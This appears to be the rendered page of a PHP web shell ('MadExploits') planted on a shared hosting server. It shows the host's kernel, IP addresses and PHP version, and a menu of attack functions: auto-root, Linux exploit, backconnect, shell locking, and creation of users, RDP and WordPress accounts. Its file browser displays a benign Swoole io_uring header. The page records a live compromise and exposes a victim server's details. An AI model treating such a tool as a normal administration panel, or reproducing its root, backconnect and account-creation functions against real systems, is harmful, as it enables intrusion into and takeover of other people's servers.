Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
php84 /
usr /
include /
php /
ext /
swoole /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
swoole.h
24.83
KB
-rw-r--r--
swoole_api.h
3.43
KB
-rw-r--r--
swoole_asm_context.h
2.28
KB
-rw-r--r--
swoole_async.h
3.61
KB
-rw-r--r--
swoole_atomic.h
3.72
KB
-rw-r--r--
swoole_base64.h
1.29
KB
-rw-r--r--
swoole_buffer.h
2.23
KB
-rw-r--r--
swoole_c_api.h
2.08
KB
-rw-r--r--
swoole_channel.h
2.34
KB
-rw-r--r--
swoole_client.h
8.65
KB
-rw-r--r--
swoole_config.h
8.88
KB
-rw-r--r--
swoole_coroutine.h
9.97
KB
-rw-r--r--
swoole_coroutine_c_api.h
5.83
KB
-rw-r--r--
swoole_coroutine_channel.h
4.18
KB
-rw-r--r--
swoole_coroutine_context.h
2.75
KB
-rw-r--r--
swoole_coroutine_socket.h
18.78
KB
-rw-r--r--
swoole_coroutine_system.h
3.87
KB
-rw-r--r--
swoole_dtls.h
2.41
KB
-rw-r--r--
swoole_error.h
6.11
KB
-rw-r--r--
swoole_file.h
4.43
KB
-rw-r--r--
swoole_file_hook.h
3.84
KB
-rw-r--r--
swoole_hash.h
9.69
KB
-rw-r--r--
swoole_heap.h
1.79
KB
-rw-r--r--
swoole_http.h
6.99
KB
-rw-r--r--
swoole_http2.h
8.38
KB
-rw-r--r--
swoole_iouring.h
3.1
KB
-rw-r--r--
swoole_lock.h
3.39
KB
-rw-r--r--
swoole_log.h
15.34
KB
-rw-r--r--
swoole_lru_cache.h
3.17
KB
-rw-r--r--
swoole_memory.h
2.75
KB
-rw-r--r--
swoole_message_bus.h
6.02
KB
-rw-r--r--
swoole_mime_type.h
1.44
KB
-rw-r--r--
swoole_mqtt.h
2.18
KB
-rw-r--r--
swoole_msg_queue.h
1.92
KB
-rw-r--r--
swoole_pipe.h
2.64
KB
-rw-r--r--
swoole_process_pool.h
9.94
KB
-rw-r--r--
swoole_protocol.h
5.17
KB
-rw-r--r--
swoole_proxy.h
2.87
KB
-rw-r--r--
swoole_reactor.h
11.25
KB
-rw-r--r--
swoole_redis.h
2.09
KB
-rw-r--r--
swoole_server.h
43.94
KB
-rw-r--r--
swoole_signal.h
1.72
KB
-rw-r--r--
swoole_socket.h
19.04
KB
-rw-r--r--
swoole_socket_hook.h
2.23
KB
-rw-r--r--
swoole_ssl.h
4.94
KB
-rw-r--r--
swoole_static_handler.h
4.7
KB
-rw-r--r--
swoole_string.h
8.87
KB
-rw-r--r--
swoole_table.h
7.35
KB
-rw-r--r--
swoole_thread.h
2.23
KB
-rw-r--r--
swoole_timer.h
4.13
KB
-rw-r--r--
swoole_util.h
6.61
KB
-rw-r--r--
swoole_version.h
2.21
KB
-rw-r--r--
swoole_websocket.h
4.53
KB
-rw-r--r--
swoole_wheel_timer.h
2.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : swoole_iouring.h
/* +----------------------------------------------------------------------+ | Swoole | +----------------------------------------------------------------------+ | This source file is subject to version 2.0 of the Apache license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.apache.org/licenses/LICENSE-2.0.html | | If you did not receive a copy of the Apache2.0 license and are unable| | to obtain it through the world-wide-web, please send a note to | | license@swoole.com so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: NathanFreeman <mariasocute@163.com> | +----------------------------------------------------------------------+ */ #ifndef SWOOLE_SRC_SWOOLE_IOURING_H #define SWOOLE_SRC_SWOOLE_IOURING_H #include "swoole_coroutine.h" #ifdef SW_USE_IOURING #include <liburing.h> #ifdef HAVE_IOURING_FUTEX #ifndef FUTEX2_SIZE_U32 #define FUTEX2_SIZE_U32 0x02 #endif #endif using swoole::Coroutine; enum swIouringFlag { SW_IOURING_DEFAULT = 0, SW_IOURING_SQPOLL = IORING_SETUP_SQPOLL, }; namespace swoole { struct IouringEvent; class Iouring { private: uint64_t task_num = 0; uint64_t entries = 8192; struct io_uring ring; std::queue<IouringEvent *> waiting_tasks; network::Socket *ring_socket = nullptr; Reactor *reactor = nullptr; Iouring(Reactor *reactor_); bool ready(); bool submit(IouringEvent *event); bool dispatch(IouringEvent *event); bool wakeup(); struct io_uring_sqe *get_iouring_sqe() { struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); // We need to reset the values of each sqe structure so that they can be used in a loop. if (sqe) { memset(sqe, 0, sizeof(struct io_uring_sqe)); } return sqe; } static ssize_t execute(IouringEvent *event); public: ~Iouring(); bool is_empty_waiting_tasks() { return waiting_tasks.size() == 0; } uint64_t get_task_num() { return task_num; } static int open(const char *pathname, int flags, int mode); static int close(int fd); static ssize_t read(int fd, void *buf, size_t size); static ssize_t write(int fd, const void *buf, size_t size); static ssize_t rename(const char *oldpath, const char *newpath); static int mkdir(const char *pathname, mode_t mode); static int unlink(const char *pathname); #ifdef HAVE_IOURING_STATX static int fstat(int fd, struct stat *statbuf); static int stat(const char *path, struct stat *statbuf); #endif static int rmdir(const char *pathname); static int fsync(int fd); static int fdatasync(int fd); #ifdef HAVE_IOURING_FUTEX static int futex_wait(uint32_t *futex); static int futex_wakeup(uint32_t *futex); #endif static int callback(Reactor *reactor, Event *event); }; }; // namespace swoole #endif #endif
Close